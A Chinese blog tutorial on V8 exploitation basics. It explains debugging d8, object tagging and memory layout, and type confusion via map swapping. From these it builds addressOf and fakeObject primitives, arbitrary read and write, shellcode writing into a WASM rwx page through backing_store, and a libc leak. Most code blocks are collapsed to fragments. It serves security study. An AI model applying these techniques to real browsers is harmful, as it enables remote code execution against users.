V8利用(1)-基础
前言
V8系列文章均基于https://github.com/ErodedElk/Chaos-me-JavaScript-V8
以及从0开始学V8漏洞利用之环境搭建(一) - Hc1m1 (nobb.site)
踩雷后发现尽量用ubuntu 20.04,我用的22.04一堆报错。
环境配置请直接看上面链接,Toka✌太强了
调试
先编写(复制)调试样本测试:
1 | //demo.js |
保存为demo.js
然后进入v8/out/x64_$name.release
目录下可以看到d8(真正解析执行js代码),然后gdb d8
1 | 在gdb中执行 |
然后看到DebugPrint
输出了一些信息,并且程序产生了中断
1 | pwndbg> c |
可以看到DebugPrint
打印出了f和WasmInstance的信息。可以使用job命令来查看对象信息,例如job 0x2cfa081d370d
1 | pwndbg> job 0x2cfa081d370d |
可以发现对象地址并没有4字节对齐,这是为了区分对象类型和数字类型(对象类型会将真实地址+1,而数字类型不变)。所以上述对象的真实地址应该0x2cfa081d370d-1
V8 储存数据时会让这些整数都乘以2,也包括数组的长度,因此当job认为该地址是一个数字类型时,会将其除以2之后当作原本的值。即将真实值左移1位后存储
这样来看的话,所有的数字类型都会是偶数,而所有的对象类型都会是奇数,这样似乎是方便了区分类型,避免将对象类型的地址当作数字类型输出(避免一些泄露🤔
顺带我还测试了
0x2cfa081d370c+2
和0x2cfa081d370c+3
的情况,发现+2时job命令会输出数据值,+3时会报错,说明+2时识别为数字类型,+3时识别为对象类型,但由于其中地址有问题,导致输出不成功
查看地址中的内存数据
1 | pwndbg> x/16wx 0x36d4081d370d-1 |
可以发现,v8 对地址数据进行了压缩储存,由于高 32bit 的地址完全相同,每个地址只会存放其低 32bit 的数据
使用vmmap
命令查看程序地址空间,可以发现一段可读可写可执行的内存。
1 | 0x5c3bb72f000 0x5c3bb730000 rwxp 1000 0 [anon_5c3bb72f] |
因此,与我们平常的用户态pwn相同,我们的目的就是在这个内存段上写入shellcode并执行。但是在高版本WASM中,这个内存段不再可写了。
数据类型
测试代码
1 | //demo2.js |
JSArray:a
1 | pwndbg> job 0x3e81080499c1 |
可以看出,一个JSArray的内存布局为(同时可以看到length被乘以2了
1 | | 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length | |
同时我们可以注意到elements
结构体的位置正好在&Array-0x10
位置处,因此若elements结构体发生溢出,就可能覆盖到Array上的值
1 | | 32bit map addr | 32bit length | 64bit value |elements |
JS_OBJECT_TYPE:b
1 | pwndbg> job 0x3e81080499d1 |
大致内存结构为
1 | | 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length | |
但elements与结构体不相邻,一般不可利用
JSArray:c
1 | pwndbg> job 0x3e8108049a09 |
c和a内存布局基本相同,但因为c中存放的是一个地址,且由于地址压缩,c的elements中存放的value只有地址的32bit,但依然同JSArray相邻
JSArray:d
1 | pwndbg> job 0x3e8108049a19 |
可以看到整数数组中的elements不再与结构体相邻,因此在溢出的时候往往需要用浮点数去溢出,而不能直接用整数数据溢出
类型混淆
a、c、d变量均为JSArray,那么肯定还需要存储其中变量的数据类型,读取a、d数组的map结构体:
1 | pwndbg> job 0x086f08203ae1 |
注意到elements kind
成员用来标注elements
类型
因此如果我们可以将一个变量的map地址赋给另一个变量,就可以错误地解析数据类型,即“类型混淆”。例如,考虑代码
1 | float_arr= [2.1]; |
obj_arr
是一个对象,其中存储着float_arr
对象,因此访问obj_arr[0]
会得到一个对象,而如果将一个浮点数数组的map赋给obj_arr
的map,那么就会将obj_arr
错误地解析为浮点数数组,进而访问obj_arr[0]
时就会得到float_arr
对象地址。(如果是C/C++那样的面向过程语言,可以直接取地址,但是对于JAVA、JS这类语言来说,直接获取地址是不被允许的。)
任意地址读
JS不允许我们直接读出地址,但我们可以利用类型混淆来读出。
addressOf
使用类型混淆读取地址的方法
一般写法为:
1 | //获取某个变量的地址 |
上述仅为大体代码,具体视情况修改。
大致逻辑就是,定义obj_array
为对象数组,修改obj_array
的map为浮点数数组的map,再读出obj_array[0]
的值。(因为浮点数在内存中是以整数存储的,只是表示出来是浮点数而已,因此只需要把表示出来的浮点数转为整数即可)
fakeObject
伪造一个以float_arr[0]
为起始的对象,即返回一个类型混淆后的伪造对象。
一般写法为:
1 | //将某个地址转换为对象 |
大致逻辑就是定义obj_array
为对象数组,则其map表示elements为对象类型,再定义double_array
为浮点数数组,将obj_array
的map赋给double_array
的map,这样解析出来double_array
中的elements被解析出来就是以元素值为起始地址的对象了,即伪造对象。
任意地址读
即利用上述获取地址的方式来获取伪造对象位置地址,然后伪造这个对象,且对象中的elements
数组可以被控制,然后访问伪造对象的元素即可实现任意地址读。
首先尝试构造出结构:
1 | var fake_array=[double_array_map,int_to_float(0x4141414141414141n)]; |
fake_array
中的值在内存中将被当作伪造对象,其内存布局为
1 | | 32bit elements map | 32bit length | 64bit double_array_map | 64bit 0x4141414141414141 |element |
然后通过addressOf来获取fake_array
的地址,进而计算出double_array_map
所在地址,再利用fakeObject将其伪造成一个对象数组,对比JSArray的内存布局
1 | | 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |JSArray |
即double_array_map
需要为一个浮点数数组的map地址,然后便可以利用fake_array[1]
修改伪造对象中的elements,然后访问fakeObject[0]
即可读取该地址处的数据
代码逻辑大致为
1 | var fake_array=[double_array_map,int_to_float(0x4141414141414141n)]; |
任意地址写
只需要将任意地址读的return fake_object[0]
改为fake_object[0]=data
即可
1 | var fake_array=[double_array_map,int_to_float(0x4141414141414141n)];4 |
写入shellcode
目前所实现的任意地址写并不能正常工作。因为我们写入shellcode时需要从内存段开头开始写,而开头地址-8+1
是非法地址,会产生异常。因此直接写入不能成功。
另外的方法看如下代码:
1 | var data_buf = new ArrayBuffer(0x10); |
调试可以看到
1 | pwndbg> job 0x28d0080499c9 |
可以发现JSDataView
的buffer成员即JSArrayBuffer
结构体地址,而JSArrayBuffer
的backing_store
存储真正的数据地址。如果我们能修改backing_store
成员为我们想要写的地址,那么就可以通过JSDataView
的setFloat64
方法直接写入了
且该版本下backing_store
成员在data_buf+0x1c
地址处
那么在写入shellcode的时候就可以先使用上面的任意地址写修改backing_store
为shellcode存放地址,然后再用dataview.setFloat64()
方法写入shellcode
1 | function shellcode_write(addr,shellcode) |
实际操作中需要注意
backing_store
中写入的地址为64位,因此一般需要将目标地址的高32位和低32位一起读出,然后合并写入
如何获取写入内存段的地址呢,回到开始:
1
2
3
4
5
6
7
8 var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39 pwndbg> job 0x1eec081d35b9
0x1eec081d35b9: [WasmInstanceObject] in OldSpace
- map: 0x1eec08207399 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1eec08048065 <Object map = 0x1eec08207af1>
- elements: 0x1eec0800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x1eec08049ca9 <Module map = 0x1eec08207231>
- exports_object: 0x1eec08049e5d <Object map = 0x1eec08207bb9>
- native_context: 0x1eec081c3649 <NativeContext[252]>
- memory_object: 0x1eec081d35a1 <Memory map = 0x1eec08207641>
- table 0: 0x1eec08049e2d <Table map = 0x1eec082074b1>
- imported_function_refs: 0x1eec0800222d <FixedArray[0]>
- indirect_function_table_refs: 0x1eec0800222d <FixedArray[0]>
- managed_native_allocations: 0x1eec08049de5 <Foreign>
- memory_start: 0x7f8ed0000000
- memory_size: 65536
- imported_function_targets: 0x55c49b514c60
- globals_start: (nil)
- imported_mutable_globals: 0x55c49b514d90
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x1eec0800222d <FixedArray[0]>
- All own properties (excluding elements): {}
pwndbg> tel 0x1eec081d35b9-1
00:0000│ 0x1eec081d35b8 ◂— 0x800222d08207399
01:0008│ 0x1eec081d35c0 ◂— 0x800222d0800222d /* '-"' */
02:0010│ 0x1eec081d35c8 ◂— 0x800222d /* '-"' */
03:0018│ 0x1eec081d35d0 —▸ 0x7f8ed0000000 ◂— 0x0
04:0020│ 0x1eec081d35d8 ◂— 0x10000
05:0028│ 0x1eec081d35e0 —▸ 0x55c49b4f0df0 —▸ 0x7ffede53abf0 ◂— 0x7ffede53abf0
06:0030│ 0x1eec081d35e8 —▸ 0x55c49b514c60 ◂— 0x0
07:0038│ 0x1eec081d35f0 ◂— 0x0
pwndbg>
08:0040│ 0x1eec081d35f8 ◂— 0x0
09:0048│ 0x1eec081d3600 ◂— 0x0
0a:0050│ 0x1eec081d3608 —▸ 0x55c49b514d90 —▸ 0x7f90d84c7be0 (main_arena+96) —▸ 0x55c49b592d10 ◂— 0x0
0b:0058│ 0x1eec081d3610 —▸ 0x55c49b4f0dd0 —▸ 0x1eec00000000 ◂— 0x1b000
0c:0060│ 0x1eec081d3618 —▸ 0x1e56fd940000 ◂— jmp 0x1e56fd940480 /* 0xcccccc0000047be9 */可以发现在
wasmInstance+0x68
处保存了内存段的起始地址
泄露地址
如果我们想泄露libc地址,那该如何泄露呢?可以选择JSArray结构体 -> Map结构体 -> code属性地址 -> code内存地址固定偏移处的v8指令地址 -> v8的GOT表 -> libc地址
,即:
1 | pwndbg> job 0xa95080499c1 |
这里可以看到我按照Toka✌的固定偏移并未出现地址,但是我发现了如下位置
1 | pwndbg> tel 0x0a9500005501-1 10 |
可以看到0x40偏移位置出现了一个地址,对应d8在内存中的代码段
1 | 0x5654c60fc000 0x5654c692f000 r--p 833000 0 /home/fuzz/v8/out/x64_9.6.180.6.release/d8 |
那么根据这个也可以泄露d8的地址,然后偏移到GOT表,进而泄露libc地址。
通用shellcode及模板
1 | //Linux x64 |
下面的模板对于类型混淆的v8漏洞应该都行
1 | var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); |
本文前面用到的函数定义如下
1 | function float_to_int(f) |
- Title: V8利用(1)-基础
- Author: Static
- Created at : 2024-03-10 16:37:25
- Updated at : 2024-03-10 16:36:34
- Link: https://staticccccccc.github.io/2024/03/10/V8/V8利用(1)-基础/
- License: This work is licensed under CC BY-NC-SA 4.0.